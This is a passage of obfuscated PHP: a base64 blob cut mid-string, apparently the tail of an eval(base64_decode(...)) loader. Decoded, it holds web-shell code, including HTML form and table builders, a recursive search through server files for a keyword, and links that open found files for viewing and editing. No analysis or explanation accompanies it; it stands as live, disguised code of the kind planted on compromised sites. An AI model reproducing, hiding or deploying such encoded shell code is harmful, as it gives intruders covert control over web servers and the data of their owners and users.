PjxiPiIuJHRpdGxlLiIgWzxhIGhyZWY9XCI/ZGlyPSIudXJsZW5jb2RlKCRkaXIpLiJcIj63tbvYPC9hPl08L2I+PC90ZD5cbiI7DQoJCQllY2hvICIgIDwvdHI+XG4iOw0KCQl9DQoNCgkJZnVuY3Rpb24gdGRib2R5KCRjb250ZW50LCRhbGlnbj0nY2VudGVyJywkYmdjb2xvcj0nMicsJGhlaWdodD0nJywkZXh0cmE9JycsJGNvbHNwYW49JycpIHsNCgkJCWlmICgkYmdjb2xvcj09JzInKSB7DQoJCQkJJGNzcz0ic2Vjb25kYWx0IjsNCgkJCX0gZWxzZWlmICgkYmdjb2xvcj09JzEnKSB7DQoJCQkJJGNzcz0iZmlyc3RhbHQiOw0KCQkJfSBlbHNlIHsNCgkJCQkkY3NzPSRiZ2NvbG9yOw0KCQkJfQ0KCQkJJGhlaWdodCA9IGVtcHR5KCRoZWlnaHQpID8gIiIgOiAiIGhlaWdodD0iLiRoZWlnaHQ7DQoJCQkkY29sc3BhbiA9IGVtcHR5KCRjb2xzcGFuKSA/ICIiIDogIiBjb2xzcGFuPSIuJGNvbHNwYW47DQoJCQllY2hvICIgIDx0ciBjbGFzcz1cIiIuJGNzcy4iXCI+XG4iOw0KCQkJZWNobyAiCTx0ZCBhbGlnbj1cIiIuJGFsaWduLiJcIiIuJGhlaWdodC4iICIuJGNvbHNwYW4uIiAiLiRleHRyYS4iPiIuJGNvbnRlbnQuIjwvdGQ+XG4iOw0KCQkJZWNobyAiICA8L3RyPlxuIjsNCgkJfQ0KDQoJCWZ1bmN0aW9uIHRhYmxlZm9vdGVyKCkgew0KCQkJZWNobyAiPC90YWJsZT5cbiI7DQoJCX0NCg0KCQlmdW5jdGlvbiBmb3JtaGVhZGVyKCRhY3Rpb249JycsJHRpdGxlLCR0YXJnZXQ9JycpIHsNCgkJCWdsb2JhbCAkZGlyOw0KCQkJJHRhcmdldCA9IGVtcHR5KCR0YXJnZXQpID8gIiIgOiAiIHRhcmdldD1cIiIuJHRhcmdldC4iXCIiOw0KCQkJZWNobyAiIDxmb3JtIGFjdGlvbj1cIiRhY3Rpb25cIiBtZXRob2Q9XCJQT1NUXCIiLiR0YXJnZXQuIj5cbiI7DQoJCQllY2hvICIgIDx0ciBjbGFzcz1cImZpcnN0YWx0XCI+XG4iOw0KCQkJZWNobyAiCTx0ZCBhbGlnbj1cImNlbnRlclwiPjxiPiIuJHRpdGxlLiIgWzxhIGhyZWY9XCI/ZGlyPSIudXJsZW5jb2RlKCRkaXIpLiJcIj63tbvYPC9hPl08L2I+PC90ZD5cbiI7DQoJCQllY2hvICIgIDwvdHI+XG4iOw0KCQl9DQoNCgkJZnVuY3Rpb24gbWFrZWhpZGRlbigkbmFtZSwkdmFsdWU9Jycpew0KCQkJZWNobyAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiJG5hbWVcIiB2YWx1ZT1cIiR2YWx1ZVwiPlxuIjsNCgkJfQ0KDQoJCWZ1bmN0aW9uIG1ha2VpbnB1dCgkbmFtZSwkdmFsdWU9JycsJGV4dHJhPScnLCR0eXBlPSd0ZXh0Jywkc2l6ZT0nMzAnLCRjc3M9J2lucHV0Jyl7DQoJCQkkY3NzID0gKCRjc3MgPT0gJ2lucHV0JykgPyAiIGNsYXNzPVwiaW5wdXRcIiIgOiAiIjsNCgkJCSRpbnB1dCA9ICI8aW5wdXQgbmFtZT1cIiRuYW1lXCIgdmFsdWU9XCIkdmFsdWVcIiB0eXBlPVwiJHR5cGVcIiAiLiRjc3MuIiBzaXplPVwiJHNpemVcIiAkZXh0cmE+XG4iOw0KCQkJcmV0dXJuICRpbnB1dDsNCgkJfQ0KDQoJCWZ1bmN0aW9uIG1ha2V0ZXh0YXJlYSgkbmFtZSwkY29udGVudD0nJywkY29scz0nMTAwJywkcm93cz0nMjAnLCRleHRyYT0nJyl7DQoJCQkkdGV4dGFyZWEgPSAiPHRleHRhcmVhIG5hbWU9XCIiLiRuYW1lLiJcIiBjb2xzPVwiIi4kY29scy4iXCIgcm93cz1cIiIuJHJvd3MuIlwiICIuJGV4dHJhLiI+Ii4kY29udGVudC4iPC90ZXh0YXJlYT5cbiI7DQoJCQlyZXR1cm4gJHRleHRhcmVhOw0KCQl9DQoNCgkJZnVuY3Rpb24gZm9ybWZvb3Rlcigkb3Zlcj0nJywkaGVpZ2h0PScnKXsNCgkJCSRoZWlnaHQgPSBlbXB0eSgkaGVpZ2h0KSA/ICIiIDogIiBoZWlnaHQ9XCIiLiRoZWlnaHQuIlwiIjsNCgkJCWVjaG8gIiAgPHRyIGNsYXNzPVwic2Vjb25kYWx0XCI+XG4iOw0KCQkJZWNobyAiCTx0ZCBhbGlnbj1cImNlbnRlclwiIi4kaGVpZ2h0LiI+PGlucHV0IGNsYXNzPVwiaW5wdXRcIiB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCLIt7aoXCI+PC90ZD5cbiI7DQoJCQllY2hvICIgIDwvdHI+XG4iOw0KCQkJZWNobyAiIDwvZm9ybT5cbiI7DQoJCQllY2hvICRlbmQgPSBlbXB0eSgkb3ZlcikgPyAiIiA6ICI8L3RhYmxlPlxuIjsNCgkJfQ0KDQoJCWZ1bmN0aW9uIG1ha2VzZWxlY3QoJGFyZyA9IGFycmF5KCkpew0KCQkJaWYgKCRhcmdbbXVsdGlwbGVdPT0xKSB7DQoJCQkJJG11bHRpcGxlID0gIiBtdWx0aXBsZSI7DQoJCQkJaWYgKCRhcmdbc2l6ZV0+MCkgew0KCQkJCQkkc2l6ZSA9ICJzaXplPSRhcmdbc2l6ZV0iOw0KCQkJCX0NCgkJCX0NCgkJCWlmICgkYXJnW2Nzc109PTApIHsNCgkJCQkkY3NzID0gImNsYXNzPVwiaW5wdXRcIiI7DQoJCQl9DQoJCQkkc2VsZWN0ID0gIjxzZWxlY3QgJGNzcyBuYW1lPVwiJGFyZ1tuYW1lXVwiJG11bHRpcGxlICRzaXplPlxuIjsNCgkJCQlpZiAoaXNfYXJyYXkoJGFyZ1tvcHRpb25dKSkgew0KCQkJCQlmb3JlYWNoICgkYXJnW29wdGlvbl0gQVMgJGtleT0+JHZhbHVlKSB7DQoJCQkJCQlpZiAoIWlzX2FycmF5KCRhcmdbc2VsZWN0ZWRdKSkgew0KCQkJCQkJCWlmICgkYXJnW3NlbGVjdGVkXT09JGtleSkgew0KCQkJCQkJCQkkc2VsZWN0IC49ICI8b3B0aW9uIHZhbHVlPVwiJGtleVwiIHNlbGVjdGVkPiR2YWx1ZTwvb3B0aW9uPlxuIjsNCgkJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCQkkc2VsZWN0IC49ICI8b3B0aW9uIHZhbHVlPVwiJGtleVwiPiR2YWx1ZTwvb3B0aW9uPlxuIjsNCgkJCQkJCQl9DQoNCgkJCQkJCX0gZWxzZWlmIChpc19hcnJheSgkYXJnW3NlbGVjdGVkXSkpIHsNCgkJCQkJCQlpZiAoJGFyZ1tzZWxlY3RlZF1bJGtleV09PTEpIHsNCgkJCQkJCQkJJHNlbGVjdCAuPSAiPG9wdGlvbiB2YWx1ZT1cIiRrZXlcIiBzZWxlY3RlZD4kdmFsdWU8L29wdGlvbj5cbiI7DQoJCQkJCQkJfSBlbHNlIHsNCgkJCQkJCQkJJHNlbGVjdCAuPSAiPG9wdGlvbiB2YWx1ZT1cIiRrZXlcIj4kdmFsdWU8L29wdGlvbj5cbiI7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJJHNlbGVjdCAuPSAiPC9zZWxlY3Q+XG4iOw0KCQkJcmV0dXJuICRzZWxlY3Q7DQoJCX0NCgl9DQoJDQoJZnVuY3Rpb24gZmluZCgkcGF0aCkgLy+y6dXSudi8/LTKIA0KeyANCglnbG9iYWwgJG9sZGtleSwkdHlwZSwkdHlwZTIsJGVuZGxpbmUsJGJlbGluZTsgDQoJaWYoaXNfZGlyKCIkcGF0aCIpKXsgDQoJJHRlbXBkaXI9b3BlbmRpcigiJHBhdGgiKTsNCgl3aGlsZSgkZj1yZWFkZGlyKCR0ZW1wZGlyKSl7IGlmKCRmPT0iLiJ8fCRmPT0iLi4iKWNvbnRpbnVlOyAgZmluZCgiJHBhdGgvJGYiKTt9DQoJY2xvc2VkaXIoJHRlbXBkaXIpOw0KCX1lbHNleyANCglpZihmaWxlc2l6ZSgiJHBhdGgiKSl7IA0KCSRmcD1mb3BlbigiJHBhdGgiLCJyIik7IA0KCSRtc2c9ZnJlYWQoJGZwLCBmaWxlc2l6ZSgiJHBhdGgiKSk7DQoJZmNsb3NlKCRmcCk7IA0KaWYoc3RycG9zKCRtc2csICRvbGRrZXkpICE9PSBmYWxzZSkgew0KCSRkaXIgPSBkaXJuYW1lKCRwYXRoKTsNCgkkZmlsZSA9IGJhc2VuYW1lKCRwYXRoKTsNCmlmKCR0eXBlPT0ibGlzdCIpew0KCSRteW1zZyA9IGV4cGxvZGUoIlxuIiwkbXNnKTsNCgkkbG9uZyA9IGNvdW50KCRteW1zZyk7DQoJJHRtcCA9IGV4cGxvZGUoJG9sZGtleSwkbXNnKTsNCgkkdG1wID0gZXhwbG9kZSgiXG4iLCR0bXBbMF0pOw0KCSRmaXJzdCA9IGNvdW50KCR0bXApOw0KCSRlbmQgPSAiWyIuJGZpcnN0LiIvIi4kbG9uZy4iXSI7DQp9DQppZigkdHlwZTI9PSJnZXRwYXRoIil7DQoJJGdldCA9IGV4cGxvZGUoJG9sZGtleSwkbXNnKTsNCgkkZ2V0ID0gc3RybGVuKCRnZXRbMF0pOw0KCWlmKGlzc2V0KCRiZWxpbmUpKXsNCgkkZ2V0ID0gJGdldC0kYmVsaW5lOw0KCX0NCgkkZ2V0cGF0aCA9IGh0bWxzcGVjaWFsY2hhcnMoc3Vic3RyKCRtc2csICRnZXQsICRlbmRsaW5lKSk7IA0KCSRnZXRwYXRoID0gInRpdGxlID0gXCIiLiRnZXRwYXRoLiJcIiI7DQp9DQplY2hvICI8c3BhbiBjbGFzcz1cInJlZGZvbnRcIiAkZ2V0cGF0aD7V0rW9OiRkaXIvJGZpbGU8L3NwYW4+IHw8YSBocmVmPVwiP2FjdGlvbj1lZGl0ZmlsZSZkaXI9JGRpciZlZGl0ZmlsZT0kZmlsZVwiIHRhcmdldD1cIl9ibGFua1wiPnZpZXcrZWRpdDwvYT4gfCAkZW5kIDxicj4iOw0KfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICB9ICAgICAgICAgICAgICAgICAgICANCn0='));?> |